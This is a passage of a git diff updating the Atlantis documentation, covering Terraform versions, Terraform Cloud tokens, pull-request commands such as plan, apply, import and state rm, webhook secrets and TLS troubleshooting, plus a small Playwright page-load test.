number of times when on commenting `atlantis plan` has thrown error. | +| `atlantis_cmd_autoplan_execution_success` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when [autoplan](autoplanning.md#autoplanning) has run successfully. | +| `atlantis_cmd_comment_apply_execution_error` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when on commenting `atlantis apply` has thrown error. | +| `atlantis_cmd_comment_apply_execution_success` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when on commenting `atlantis apply` has run successfully. | + +::: tip NOTE +There are plenty of additional metrics exposed by atlantis that are not described above. +::: diff --git a/runatlantis.io/docs/streaming-logs.md b/runatlantis.io/docs/streaming-logs.md new file mode 100644 index 0000000000..df936c52f9 --- /dev/null +++ b/runatlantis.io/docs/streaming-logs.md @@ -0,0 +1,22 @@ +# Real-time logs + +Atlantis supports streaming terraform logs in real time by default. Currently, only two commands are supported + +* atlantis plan +* atlantis apply + +::: warning +As of now, not all custom workflow outputs and other terraform commands are not supported. Support for terragrunt has been added, see examples in [Custom Workflows](./custom-workflows.md#terragrunt). +::: + +In order to view real-time terraform logs, a user can navigate through the *details* section of a given project's plan or apply status check. + +![Plan Command](./images/plan.png) + +This will link to the atlantis UI which provides real-time logging in addition to native terraform syntax highlighting. + +![Plan Output](./images/plan_output.png) + +::: warning +As of now the logs are currently stored in memory and cleared when a given pull request is closed, so this link shouldn't be persisted anywhere. +::: diff --git a/runatlantis.io/docs/terraform-cloud.md b/runatlantis.io/docs/terraform-cloud.md index 189624bb23..2e3393d7dd 100644 --- a/runatlantis.io/docs/terraform-cloud.md +++ b/runatlantis.io/docs/terraform-cloud.md @@ -6,16 +6,18 @@ and Private Terraform Enterprise was renamed Terraform Enterprise. ::: Atlantis integrates seamlessly with Terraform Cloud and Terraform Enterprise, whether you're using: -* [Free Remote State Management](https://app.terraform.io/signup) + +* [Free Remote State Management](https://app.terraform.io) * Terraform Cloud Paid Tiers * A Private Installation of Terraform Enterprise Read the docs below :point_down: depending on your use-case. -[[toc]] ## Using Atlantis With Free Remote State Storage + To use Atlantis with Free Remote State Storage, you need to: -1. Migrate your state to Terraform Cloud. See [Migrating State from Local Terraform](https://www.terraform.io/docs/cloud/migrate/index.html) + +1. Migrate your state to Terraform Cloud. See [Migrating State from Local Terraform](https://developer.hashicorp.com/terraform/cloud-docs/migrate) 1. Update any projects that are referencing the state you migrated to use the new location 1. [Generate a Terraform Cloud/Enterprise Token](#generating-a-terraform-cloud-enterprise-token) 1. [Pass the token to Atlantis](#passing-the-token-to-atlantis) @@ -24,14 +26,17 @@ That's it! Atlantis will run as normal and your state will be stored in Terrafor Cloud. ## Using Atlantis With Terraform Cloud Remote Operations or Terraform Enterprise + Atlantis integrates with the full version of Terraform Cloud and Terraform Enterprise -via the [remote backend](https://www.terraform.io/docs/backends/types/remote.html). +via the [remote backend](https://developer.hashicorp.com/terraform/language/settings/backends/remote). Atlantis will run `terraform` commands as usual, however those commands will actually be executed *remotely* in Terraform Cloud or Terraform Enterprise. ### Why? + Using Atlantis with Terraform Cloud or Terraform Enterprise gives you access to features like: + * Real-time streaming output * Ability to cancel in-progress commands * Secret variables @@ -40,28 +45,34 @@ Using Atlantis with Terraform Cloud or Terraform Enterprise gives you access to **Without** having to change your pull request workflow. ### Getting Started + To use Atlantis with Terraform Cloud Remote Operations or Terraform Enterprise, you need to: -1. Migrate your state to Terraform Cloud/Enterprise. See [Migrating State from Local Terraform](https://www.terraform.io/docs/cloud/migrate/index.html) + +1. Migrate your state to Terraform Cloud/Enterprise. See [Migrating State from Local Terraform](https://developer.hashicorp.com/terraform/cloud-docs/migrate) 1. Update any projects that are referencing the state you migrated to use the new location 1. [Generate a Terraform Cloud/Enterprise Token](#generating-a-terraform-cloud-enterprise-token) 1. [Pass the token to Atlantis](#passing-the-token-to-atlantis) ## Generating a Terraform Cloud/Enterprise Token + Atlantis needs a Terraform Cloud/Enterprise Token that it will use to access the API. Using a **Team Token is recommended**, however you can also use a User Token. ### Team Token + To generate a team token, click on **Settings** in the top bar, then **Teams** in the sidebar. Choose an existing team or create a new one. Enable the **Manage Workspaces** permission, then scroll down to **Team API Token**. ### User Token + To generate a user token, click on your avatar, then **User Settings**, then **Tokens** in the sidebar. Ensure the **Manage Workspaces** permission is enabled for this user's team. ## Passing The Token To Atlantis + The token can be passed to Atlantis via the `ATLANTIS_TFE_TOKEN` environment variable. You can also use the `--tfe-token` flag, however your token would then be easily @@ -73,6 +84,10 @@ flag to its hostname. That's it! Atlantis should be able to perform Terraform operations using Terraform Cloud/Enterprise's remote state backend now. +:::warning +If you're using local execution mode for your workspaces, remember to set the +`--tfe-local-execution-mode`. Otherwise you won't see the logs in Atlantis. + :::warning The Terraform Cloud/Enterprise integration only works with the built-in `plan` and `apply` steps. It does not work with custom `run` steps that replace @@ -84,12 +99,14 @@ Under the hood, Atlantis is generating a `~/.terraformrc` file. If you already had a `~/.terraformrc` file where Atlantis is running, then you'll need to manually add the credentials block to that file: -``` + +```hcl ... credentials "app.terraform.io" { token = "xxxx" } ``` + instead of using the `ATLANTIS_TFE_TOKEN` environment variable, since Atlantis won't overwrite your `.terraformrc` file. ::: diff --git a/runatlantis.io/docs/terraform-versions.md b/runatlantis.io/docs/terraform-versions.md index 36dae57d33..77b749a765 100644 --- a/runatlantis.io/docs/terraform-versions.md +++ b/runatlantis.io/docs/terraform-versions.md @@ -1,29 +1,65 @@ # Terraform Versions You can customize which version of Terraform Atlantis defaults to by setting -the `--default-tf-version` flag (ex. `--default-tf-version=v0.12.0`). +the `--default-tf-version` flag (ex. `--default-tf-version=v1.3.7`). ## Via `atlantis.yaml` + If you wish to use a different version than the default for a specific repo or project, you need to create an `atlantis.yaml` file and set the `terraform_version` key: + ```yaml version: 3 projects: - dir: . - terraform_version: v0.10.5 + terraform_version: v1.1.5 ``` -See [atlantis.yaml Use Cases](repo-level-atlantis-yaml.html#terraform-versions) for more details. + +See [atlantis.yaml Use Cases](repo-level-atlantis-yaml.md#terraform-versions) for more details. ## Via terraform config -Alternatively, one can use the terraform configuration block's `required_version` key to specify an *exact* version: + +Alternatively, one can use the terraform configuration block's `required_version` key to specify an exact version (`x.y.z` or `= x.y.z`), or as of [atlantis v0.21.0](https://github.com/runatlantis/atlantis/releases/tag/v0.21.0), a comparison or pessimistic [version constraint](https://developer.hashicorp.com/terraform/language/expressions/version-constraints#version-constraint-syntax): + +### Exactly version 1.2.9 + +```tf +terraform { + required_version = "= 1.2.9" +} +``` + +### Any patch/tiny version of minor version 1.2 (1.2.z) + ```tf terraform { - required_version = "0.12.0" + required_version = "~> 1.2.0" } ``` -See [Terraform `required_version`](https://www.terraform.io/docs/configuration/terraform.html#specifying-a-required-terraform-version) for reference. + +### Any minor version of major version 1 (1.y.z) + +```tf +terraform { + required_version = "~> 1.2" +} +``` + +### Any version that is at least 1.2.0 + +```tf +terraform { + required_version = ">= 1.2.0" +} +``` + +See [Terraform `required_version`](https://developer.hashicorp.com/terraform/language/terraform#terraform-required_version) for reference. ::: tip NOTE -Atlantis will automatically download the version specified. +Atlantis will automatically download the latest version that fulfills the constraint specified. +A `terraform_version` specified in the `atlantis.yaml` file takes precedence over both the [`--default-tf-version`](server-configuration.md#default-tf-version) flag and the `required_version` in the terraform hcl. ::: +::: tip NOTE +The Atlantis [latest docker image](https://github.com/runatlantis/atlantis/pkgs/container/atlantis/9854680?tag=latest) tends to have recent versions of Terraform, but there may be a delay as new versions are released. The highest version of Terraform allowed in your code is the version specified by `DEFAULT_TERRAFORM_VERSION` in the image your server is running. +::: diff --git a/runatlantis.io/docs/troubleshooting-https.md b/runatlantis.io/docs/troubleshooting-https.md index 9d46e6813b..f59058da1c 100644 --- a/runatlantis.io/docs/troubleshooting-https.md +++ b/runatlantis.io/docs/troubleshooting-https.md @@ -3,25 +3,24 @@ When using a self-signed certificate for Atlantis (with flags `--ssl-cert-file` and `--ssl-key-file`), there are a few considerations. -Atlantis uses the web server from the standard Go library, -the method name is [ListenAndServeTLS](https://golang.org/pkg/net/http/#ListenAndServeTLS). +Atlantis uses the web server from the standard Go library, +the method name is [ListenAndServeTLS](https://pkg.go.dev/net/http#ListenAndServeTLS). -`ListenAndServeTLS` acts identically to [ListenAndServe](https://golang.org/pkg/net/http/#ListenAndServe), -except that it expects HTTPS connections. -Additionally, files containing a certificate and matching private key for the server must be provided. -If the certificate is signed by a certificate authority, -the file passed to `--ssl-cert-file` should be the concatenation of the server's certificate, any intermediates, and the CA's certificate. +`ListenAndServeTLS` acts identically to [ListenAndServe](https://pkg.go.dev/net/http#ListenAndServe), +except that it expects HTTPS connections. +Additionally, files containing a certificate and matching private key for the server must be provided. +If the certificate is signed by a certificate authority, +the file passed to `--ssl-cert-file` should be the concatenation of the server's certificate, any intermediates, and the CA's certificate. -If you have this error when specifying a TLS cert with a key: -``` -[EROR] server.go:413 server: Tls: private key does not match public key +If you have this error when specifying a TLS cert with a key: + +```plain +[ERROR] server.go:413 server: Tls: private key does not match public key ``` Check that the locally signed certificate authority is prepended to the self signed certificate. -A good example is shown at [Seth Vargo terraform implementation of atlantis-on-gke](https://github.com/sethvargo/atlantis-on-gke/blob/master/terraform/tls.tf#L64) +A good example is shown at [Seth Vargo terraform implementation of atlantis-on-gke](https://github.com/sethvargo/atlantis-on-gke/blob/master/terraform/tls.tf#L64-L84) For Go specific TLS resources have a look at the repository by [denji called golang-tls](https://github.com/denji/golang-tls). For a complete explanation on PKI, read this [article](https://smallstep.com/blog/everything-pki.html). - - diff --git a/runatlantis.io/docs/upgrading-atlantis-yaml.md b/runatlantis.io/docs/upgrading-atlantis-yaml.md index 1b8fe7aaa0..37e20900e8 100644 --- a/runatlantis.io/docs/upgrading-atlantis-yaml.md +++ b/runatlantis.io/docs/upgrading-atlantis-yaml.md @@ -1,15 +1,17 @@ # Upgrading atlantis.yaml ## Upgrading From v2 To v3 + Atlantis version `v0.7.0` introduced a new version 3 of `atlantis.yaml`. -**If you're not using [custom `run` steps](custom-workflows.html#custom-run-command), +**If you're not using [custom `run` steps](custom-workflows.md#custom-run-command), then you can upgrade from `version: 2` to `version: 3` without any changes.** **NOTE:** Version 2 **is not being deprecated** and there is no need to upgrade your version if you don't wish to do so. The only change from v2 to v3 is that we're parsing custom `run` steps differently. + ```yaml # atlantis.yaml workflows: @@ -18,33 +20,38 @@ workflows: steps: - run: my custom command ``` +
An example workflow using a custom run step
Previously, we used a library that would parse the custom step prior to running it. Now, we just run the step directly. This will only affect your steps if they were using shell escaping of some sort. For example, if your step was previously: + ```yaml # version: 2 - run: "printf \'print me\'" ``` You can now write this in version 3 as: + ```yaml # version: 3 - run: "printf 'print me'" ``` - ## Upgrading From V1 To V3 + If you are upgrading from an **old** Atlantis version `<=v0.3.10` (from before July 4, 2018) you'll need to follow the following steps. ### Single atlantis.yaml + If you had multiple `atlantis.yaml` files per directory then you'll need to consolidate them into a single `atlantis.yaml` file at the root of the repo. For example, if you had a directory structure: -``` + +```plain . ├── project1 │ └── atlantis.yaml @@ -53,7 +60,8 @@ For example, if you had a directory structure: ``` Then your new structure would look like: -``` + +```plain . ├── atlantis.yaml ├── project1 @@ -61,6 +69,7 @@ Then your new structure would look like: ``` And your `atlantis.yaml` would look something like: + ```yaml version: 2 projects: @@ -80,13 +89,16 @@ workflows: We will talk more about `workflows` below. ### Terraform Version + The `terraform_version` key moved from being a top-level key to being per `project` so if before your `atlantis.yaml` was in directory `mydir` and looked like: + ```yaml terraform_version: 0.11.0 ``` Then your new config would be: + ```yaml version: 2 projects: @@ -95,9 +107,11 @@ projects: ``` ### Workflows + Workflows are the new way to set all `pre_*`, `post_*` and `extra_arguments`. Each `project` can have a custom workflow via the `workflow` key. + ```yaml version: 2 projects: @@ -106,6 +120,7 @@ projects: ``` Workflows are defined as a top-level key: + ```yaml version: 2 projects: @@ -118,6 +133,7 @@ workflows: To start with, determine whether you're customizing commands that happen during `plan` or `apply`. You then set that key under the workflow's name: + ```yaml ... workflows: @@ -133,6 +149,7 @@ workflows: If you're not customizing a specific stage then you can omit that key. For example if you're only customizing the commands that happen during `plan` then your config will look like: + ```yaml ... workflows: @@ -143,7 +160,9 @@ workflows: ``` #### Extra Arguments + `extra_arguments` is now specified as follows. Given a previous config: + ```yaml extra_arguments: - command_name: init @@ -158,6 +177,7 @@ extra_arguments: ``` Your config would now look like: + ```yaml ... workflows: @@ -174,8 +194,8 @@ workflows: extra_args: ["-lock=false"] ``` - #### Pre/Post Commands + Instead of using `pre_*` or `post_*`, you now can insert your custom commands before/after the built-in commands. Given a previous config: @@ -202,6 +222,7 @@ post_apply: ``` Your config would now look like: + ```yaml ... workflows: diff --git a/runatlantis.io/docs/using-atlantis.md b/runatlantis.io/docs/using-atlantis.md index 24a0a29352..660d414df0 100644 --- a/runatlantis.io/docs/using-atlantis.md +++ b/runatlantis.io/docs/using-atlantis.md @@ -1,27 +1,60 @@ # Using Atlantis -Atlantis currently supports three commands that can be run via pull request comments: -[[toc]] +Atlantis triggers commands via pull request comments. +![Help Command](./images/pr-comment-help.png) + +::: tip +You can use following executable names. + +* `atlantis help` + * `atlantis` is executable name. You can configure by [Executable Name](server-configuration.md#executable-name). +* `run help` + * `run` is a global executable name. +* `@GithubUser help` + * `@GithubUser` is the VCS host user which you connected to Atlantis by user token. +::: + +Currently, Atlantis supports the following commands. + +--- ## atlantis help -![Help Command](./images/pr-comment-help.png) + ```bash atlantis help ``` + ### Explanation + View help --- + +## atlantis version + +```bash +atlantis version +``` + +### Explanation + +Print the output of 'terraform version'. + +--- + ## atlantis plan -![Plan Command](./images/pr-comment-plan.png) + ```bash atlantis plan [options] -- [terraform plan flags] ``` + ### Explanation + Runs `terraform plan` on the pull request's branch. You may wish to re-run plan after Atlantis has already done so if you've changed some resources manually. ### Examples + ```bash # Runs plan for any projects that Atlantis thinks were modified. # If an `atlantis.yaml` file is specified, runs plan on the projects that @@ -32,42 +65,100 @@ atlantis plan atlantis plan -d . # Runs plan in the `project1` directory of the repo with workspace `default` -atlantis plan -d project1 +atlantis plan -p project1 # Runs plan in the root directory of the repo with workspace `staging` atlantis plan -w staging ``` ### Options + * `-d directory` Which directory to run plan in relative to root of repo. Use `.` for root. - * Ex. `atlantis plan -d child/dir` -* `-p project` Which project to run plan for. Refers to the name of the project configured in the repo's [`atlantis.yaml` file](repo-level-atlantis-yaml.html). Cannot be used at same time as `-d` or `-w` because the project defines this already. -* `-w workspace` Switch to this [Terraform workspace](https://www.terraform.io/docs/state/workspaces.html) before planning. Defaults to `default`. If not using Terraform workspaces you can ignore this. + * Ex. `atlantis plan -d child/dir` +* `-p project` Which project to run plan for. Refers to the name of the project configured in the repo's [`atlantis.yaml` file](repo-level-atlantis-yaml.md). Cannot be used at same time as `-d` or `-w` because the project defines this already. +* `-w workspace` Switch to this [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) before planning. Defaults to `default`. Ignore this if Terraform workspaces are unused. * `--verbose` Append Atlantis log to comment. +::: warning NOTE +A `atlantis plan` (without flags), like autoplans, discards all plans previously created with `atlantis plan` `-p`/`-d`/`-w` +::: + ### Additional Terraform flags -If you need to run `terraform plan` with additional arguments, like `-target=resource` or `-var 'foo-bar'` or `-var-file myfile.tfvars` +If `terraform plan` requires additional arguments, like `-target=resource` or `-var 'foo=bar'` or `-var-file myfile.tfvars` you can append them to the end of the comment after `--`, ex. -``` + +```shell atlantis plan -d dir -- -var foo='bar' ``` -If you always need to append a certain flag, see [Custom Workflow Use Cases](custom-workflows.html#adding-extra-arguments-to-terraform-commands). + +If you always need to append a certain flag, see [Custom Workflow Use Cases](custom-workflows.md#adding-extra-arguments-to-terraform-commands). + +### Automatic Environment Variable Files + +Atlantis automatically includes workspace-specific variable files if they exist in your repository. This feature helps reduce duplication across different environments and workspaces. + +#### How it works + +When running `atlantis plan`, Atlantis automatically checks for a file at `env/{workspace}.tfvars` relative to the project directory. If this file exists, Atlantis will automatically include it using the `-var-file` flag. + +#### Examples + +```plain +my-terraform-project/ +├── main.tf +├── variables.tf +└── env/ + ├── default.tfvars + ├── staging.tfvars + └── production.tfvars +``` + +When you run: + +* `atlantis plan` (uses default workspace) automatically includes `env/default.tfvars` +* `atlantis plan -w staging` automatically includes `env/staging.tfvars` +* `atlantis plan -w production` automatically includes `env/production.tfvars` + +::: tip +This feature works for any workspace name. If you have a custom workspace called `dev-team-1`, Atlantis will look for `env/dev-team-1.tfvars`. +::: + +### Using the -destroy Flag + +#### Example + +To perform a destructive plan that will destroy resources you can use the `-destroy` flag like this: + +```bash +atlantis plan -- -destroy +atlantis plan -d dir -- -destroy +``` + +::: warning NOTE +The `-destroy` flag generates a destroy plan, If this plan is applied it can result in data loss or service disruptions. Ensure that you have thoroughly reviewed your Terraform configuration and intend to remove the specified resources before using this flag. +::: --- + ## atlantis apply -![Apply Command](./images/pr-comment-apply.png) + ```bash atlantis apply [options] -- [terraform apply flags] ``` + ### Explanation + Runs `terraform apply` for the plan that matches the directory/project/workspace. ::: tip If no directory/project/workspace is specified, ex. `atlantis apply`, this command will apply **all unapplied plans from this pull request**. +This includes all projects that have been planned manually with `atlantis plan` `-p`/`-d`/`-w` since the last autoplan or `atlantis plan` command. +For Atlantis commands to work, Atlantis needs to know the location where the plan file is. For that, you can use $PLANFILE which will contain the path of the plan file to be used in your custom steps. i.e `terraform plan -out $PLANFILE` ::: ### Examples + ```bash # Runs apply for all unapplied plans from this pull request. atlantis apply @@ -76,21 +167,25 @@ atlantis apply atlantis apply -d . # Runs apply in the `project1` directory of the repo with workspace `default` -atlantis apply -d project1 +atlantis apply -p project1 # Runs apply in the root directory of the repo with workspace `staging` atlantis apply -w staging ``` ### Options + * `-d directory` Apply the plan for this directory, relative to root of repo. Use `.` for root. -* `-p project` Apply the plan for this project. Refers to the name of the project configured in the repo's [`atlantis.yaml` file](repo-level-atlantis-yaml.html). Cannot be used at same time as `-d` or `-w`. -* `-w workspace` Apply the plan for this [Terraform workspace](https://www.terraform.io/docs/state/workspaces.html). If not using Terraform workspaces you can ignore this. +* `-p project` Apply the plan for this project. Refers to the name of the project configured in the repo's [`atlantis.yaml` file](repo-level-atlantis-yaml.md). Cannot be used at same time as `-d` or `-w`. +* `-w workspace` Apply the plan for this [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces). Ignore this if Terraform workspaces are unused. +* `--auto-merge-disabled` Disable [automerge](automerging.md) for this apply command. +* `--auto-merge-method method` Specify which [merge method](automerging.md#how-to-set-the-merge-method-for-automerge) use for the apply command if [automerge](automerging.md) is enabled. Implemented only for GitHub. * `--verbose` Append Atlantis log to comment. ### Additional Terraform flags Because Atlantis under the hood is running `terraform apply plan.tfplan`, any Terraform options that would change the `plan` are ignored, ex: + * `-target=resource` * `-var 'foo=bar'` * `-var-file=myfile.tfvars` @@ -98,3 +193,145 @@ Because Atlantis under the hood is running `terraform apply plan.tfplan`, any Te They're ignored because they can't be specified for an already generated planfile. If you would like to specify these flags, do it while running `atlantis plan`. +::: tip +The automatic `env/{workspace}.tfvars` file inclusion happens during the `atlantis plan` phase. Since `atlantis apply` uses the already-generated plan file, any environment-specific variables are already incorporated from when the plan was created. +::: + +--- + +## atlantis import + +```bash +atlantis import [options] ADDRESS ID -- [terraform import flags] +``` + +### Explanation + +Runs `terraform import` that matches the directory/project/workspace. +This command discards the terraform plan result. After an import and before an apply, another `atlantis plan` must be run again. + +To allow the `import` command requires [--allow-commands](server-configuration.md#allow-commands) configuration. + +### Examples + +```bash +# Runs import +atlantis import ADDRESS ID + +# Runs import in the root directory of the repo with workspace `default` +atlantis import -d . ADDRESS ID + +# Runs import in the `project1` directory of the repo with workspace `default` +atlantis import -p project1 ADDRESS ID + +# Runs import in the root directory of the repo with workspace `staging` +atlantis import -w staging ADDRESS ID +``` + +::: tip + +* If import for_each resources, it requires a single quoted address. + * ex. `atlantis import 'aws_instance.example["foo"]' i-1234567890abcdef0` +::: + +### Options + +* `-d directory` Import a resource for this directory, relative to root of repo. Use `.` for root. +* `-p project` Import a resource for this project. Refers to the name of the project configured in the repo's [`atlantis.yaml`](repo-level-atlantis-yaml.md) repo configuration file. This cannot be used at the same time as `-d` or `-w`. +* `-w workspace` Import a resource for a specific [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces). Ignore this if Terraform workspaces are unused. + +### Additional Terraform flags + +If `terraform import` requires additional arguments, like `-var 'foo=bar'` or `-var-file myfile.tfvars` +append them to the end of the comment after `--`, e.g. + +```shell +atlantis import -d dir 'aws_instance.example["foo"]' i-1234567890abcdef0 -- -var foo='bar' +``` + +If a flag is needed to be always appended, see [Custom Workflow Use Cases](custom-workflows.md#adding-extra-arguments-to-terraform-commands). + +--- + +## atlantis state rm + +```bash +atlantis state [options] rm ADDRESS... -- [terraform state rm flags] +``` + +### Explanation + +Runs `terraform state rm` that matches the directory/project/workspace. +This command discards the terraform plan result. After run state rm and before an apply, another `atlantis plan` must be run again. + +To allow the `state` command requires [--allow-commands](server-configuration.md#allow-commands) configuration. + +### Examples + +```bash +# Runs state rm +atlantis state rm ADDRESS1 ADDRESS2 + +# Runs state rm in the root directory of the repo with workspace `default` +atlantis state -d . rm ADDRESS + +# Runs state rm in the `project1` directory of the repo with workspace `default` +atlantis state -p project1 rm ADDRESS + +# Runs state rm in the root directory of the repo with workspace `staging` +atlantis state -w staging rm ADDRESS +``` + +::: tip + +* If run state rm to for_each resources, it requires a single quoted address. + * ex. `atlantis state rm 'aws_instance.example["foo"]'` +::: + +### Options + +* `-d directory` Run state rm a resource for this directory, relative to root of repo. Use `.` for root. +* `-p project` Run state rm a resource for this project. Refers to the name of the project configured in the repo's [`atlantis.yaml`](repo-level-atlantis-yaml.md) repo configuration file. This cannot be used at the same time as `-d` or `-w`. +* `-w workspace` Run state rm a resource for a specific [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces). Ignore this if Terraform workspaces are unused. + +### Additional Terraform flags + +If `terraform state rm` requires additional arguments, like `-lock=false'` +append them to the end of the comment after `--`, e.g. + +```shell +atlantis state -d dir rm 'aws_instance.example["foo"]' -- -lock=false +``` + +If a flag is needed to be always appended, see [Custom Workflow Use Cases](custom-workflows.md#adding-extra-arguments-to-terraform-commands). + +--- + +## atlantis unlock + +```bash +atlantis unlock +``` + +### Explanation + +Removes all atlantis locks and discards all plans for this PR. +To unlock a specific plan you can use the Atlantis UI. + +--- + +## atlantis approve_policies + +```bash +atlantis approve_policies +``` + +### Explanation + +Approves all current policy checking failures for the PR. + +See also [policy checking](policy-checking.md). + +### Options + +* `--verbose` Append Atlantis log to comment. diff --git a/runatlantis.io/docs/webhook-secrets.md b/runatlantis.io/docs/webhook-secrets.md index 719820ca0c..e63f9bc9fb 100644 --- a/runatlantis.io/docs/webhook-secrets.md +++ b/runatlantis.io/docs/webhook-secrets.md @@ -17,27 +17,25 @@ Azure DevOps uses Basic authentication for webhooks rather than webhook secrets. ::: ::: tip NOTE -An app-wide token is generated during [Github App setup](access-credentials.html#github-app). You can recover it by navigating to the [Github app settings page](https://github.com/settings/apps) and selecting "Edit" next to your Atlantis app's name. Token appears after clicking "Edit" under the Webhook header. -::: - -::: warning -Bitbucket.org **does not** support webhook secrets. -To mitigate, use repo allowlists and IP allowlists. See [Security](security.html#bitbucket-cloud-bitbucket-org) for more information. +An app-wide token is generated during [GitHub App setup](access-credentials.md#github-app). You can recover it by navigating to the [GitHub app settings page](https://github.com/settings/apps) and selecting "Edit" next to your Atlantis app's name. Token appears after clicking "Edit" under the Webhook header. ::: ## Generating A Webhook Secret + You can use any random string generator to create your Webhook secret. It should be > 24 characters. For example: + * Generate via Ruby with `ruby -rsecurerandom -e 'puts SecureRandom.hex(32)'` -* Generate online with [https://www.browserling.com/tools/random-string](https://www.browserling.com/tools/random-string) +* Generate online with [browserling: Generate Random Strings and Numbers](https://www.browserling.com/tools/random-string) ::: tip NOTE You must use **the same** webhook secret for each repo. ::: ## Next Steps + * Record your secret -* You'll be using it later to [configure your webhooks](configuring-webhooks.html), however if you're -following the [Installation Guide](installation-guide.html) then your next step is to -[Deploy Atlantis](deployment.html) +* You'll be using it later to [configure your webhooks](configuring-webhooks.md), however if you're +following the [Installation Guide](installation-guide.md) then your next step is to +[Deploy Atlantis](deployment.md) diff --git a/runatlantis.io/e2e/site-check.spec.js b/runatlantis.io/e2e/site-check.spec.js new file mode 100644 index 0000000000..2fbf3b5a3a --- /dev/null +++ b/runatlantis.io/e2e/site-check.spec.js @@ -0,0 +1,12 @@ +import { test } from '@playwright/test'; + +test('page should load without errors', async ({ page }) => { + // Listen for any errors that occur within the page + page.on('pageerror', error => { + console.error('Page error:', error.message); + throw new Error(`Page error: ${error.message}`); + }); + + // Navigate to the URL + await page.goto('http://localhost:8080/'); +}); diff --git a/runatlantis.io/guide.md b/runatlantis.io/guide.md new file mode 100644 index 0000000000..9d71a3acf1 --- /dev/null +++ b/runatlantis.io/guide.md @@ -0,0 +1,70 @@ +# Introduction + +## Getting Started + +* If you'd like to just test out running Atlantis on an **example repo** check out the [Test Drive](./guide/test-drive.md). +* If you'd like to test out running Atlantis on **your repos** then read [Testing Locally](./guide/testing-locally.md). +* If you're ready to properly install Atlantis on real infrastructure then head over to the [Installation Guide](./docs/installation-guide.md). + +::: tip Looking for the full docs? +Go here: [www.runatlantis.io/docs](./docs.md) +::: + +## Overview – What Is Atlantis? + +Atlantis is an application for automating Terraform via pull requests. It is deployed +as a standalone application into your infrastructure. No third-party has access to +your credentials. + +Atlantis listens for GitHub, GitLab or Bitbucket webhooks about Terraform pull requests. It +then runs `terraform plan` and comments with the output back on the pull request. + +When you want to apply, comment `atlantis apply` on the pull request and Atlantis +will run `terraform apply` and comment back with the output. + +## Watch + +Check out the video below to see it in action: + +[![Atlantis Walkthrough](./guide/images/atlantis-walkthrough-icon.png)](https://www.youtube.com/watch?v=TmIPWda0IKg) + +## Why would you run Atlantis? + +### Increased visibility + +When everyone is executing Terraform on their own computers, it's hard to know the +current state of your infrastructure: + +* Is what's in `main` branch deployed? +* Did someone forget to create a pull request for that latest change? +* What was the output from that last `terraform apply`? + +With Atlantis, everything is visible on the pull request. You can view the history +of everything that was done to your infrastructure. + +### Enable collaboration with everyone + +You probably don't want to distribute Terraform credentials to everyone in your +engineering organization, but now anyone can open up a Terraform pull request. + +You can require approval before the pull request is applied so nothing happens +accidentally. + +### Review Terraform pull requests better + +You can't fully review a Terraform change without seeing the output of `terraform plan`. +Now that output is added to the pull request automatically. + +### Standardize your workflows + +Atlantis locks a directory/workspace until the pull request is merged or the lock +is manually deleted. This ensures that changes are applied in the order expected. + +The exact commands that Atlantis runs are configurable. You can run custom scripts +to construct your ideal workflow. + +## Next Steps + +* If you'd like to just test out running Atlantis on an **example repo** check out the [Test Drive](./guide/test-drive.md). +* If you'd like to test out running Atlantis on **your repos** then read [Testing Locally](./guide/testing-locally.md). +* If you're ready to properly install Atlantis on real infrastructure then head over to the [Installation Guide](./docs/installation-guide.md). diff --git a/runatlantis.io/guide/README.md b/runatlantis.io/guide/README.md deleted file mode 100644 index a8e36beded..0000000000 --- a/runatlantis.io/guide/README.md +++ /dev/null @@ -1,60 +0,0 @@ -# Introduction - -## Getting Started -* If you'd like to just test out running Atlantis on an **example repo** check out the [Test Drive](test-drive.html). -* If you'd like to test out running Atlantis on **your repos** then read [Testing Locally](testing-locally.html). -* If you're ready to properly install Atlantis on real infrastructure then head over to the [Installation Guide](/docs/installation-guide.html). - -::: tip Looking for the full docs? -Go here: [www.runatlantis.io/docs](/docs/) -::: - -## Overview – What Is Atlantis? -Atlantis is an application for automating Terraform via pull requests. It is deployed -as a standalone application into your infrastructure. No third-party has access to -your credentials. - -Atlantis listens for GitHub, GitLab or Bitbucket webhooks about Terraform pull requests. It -then runs `terraform plan` and comments with the output back on the pull request. - -When you want to apply, comment `atlantis apply` on the pull request and Atlantis -will run `terraform apply` and comment back with the output. - -## Watch -Check out the video below to see it in action: - -[![Atlantis Walkthrough](./images/atlantis-walkthrough-icon.png)](https://www.youtube.com/watch?v=TmIPWda0IKg) - -## Why would you run Atlantis? -### Increased visibility -When everyone is executing Terraform on their own computers, it's hard to know the -current state of your infrastructure: -* Is what's in `master` deployed? -* Did someone forget to create a pull request for that latest change? -* What was the output from that last `terraform apply`? - -With Atlantis, everything is visible on the pull request. You can view the history -of everything that was done to your infrastructure. - -### Enable collaboration with everyone -You probably don't want to distribute Terraform credentials to everyone in your -engineering organization, but now anyone can open up a Terraform pull request. - -You can require approval before the pull request is applied so nothing happens -accidentally. - -### Review Terraform pull requests better -You can't fully review a Terraform change without seeing the output of `terraform plan`. -Now that output is added to the pull request automatically. - -### Standardize your workflows -Atlantis locks a directory/workspace until the pull request is merged or the lock -is manually deleted. This ensures that changes are applied in the order expected. - -The exact commands that Atlantis runs are configurable. You can run custom scripts -to construct your ideal workflow. - -## Next Steps -* If you'd like to just test out running Atlantis on an **example repo** check out the [Test Drive](test-drive.html). -* If you'd like to test out running Atlantis on **your repos** then read [Testing Locally](testing-locally.html). -* If you're ready to properly install Atlantis on real infrastructure then head over to the [Installation Guide](/docs/installation-guide.html). diff --git a/runatlantis.io/guide/images/bitbucket-server-webhook.png b/runatlantis.io/guide/images/bitbucket-server-webhook.png index d9167c0bba..a34fb44120 100644 Binary files a/runatlantis.io/guide/images/bitbucket-server-webhook.png and b/runatlantis.io/guide/images/bitbucket-server-webhook.png differ diff --git a/runatlantis.io/guide/test-drive.md b/runatlantis.io/guide/test-drive.md index 22e8c77f21..8510f0a0e2 100644 --- a/runatlantis.io/guide/test-drive.md +++ b/runatlantis.io/guide/test-drive.md @@ -1,18 +1,22 @@ # Test Drive -To test drive Atlantis on an example repo, download the latest release: 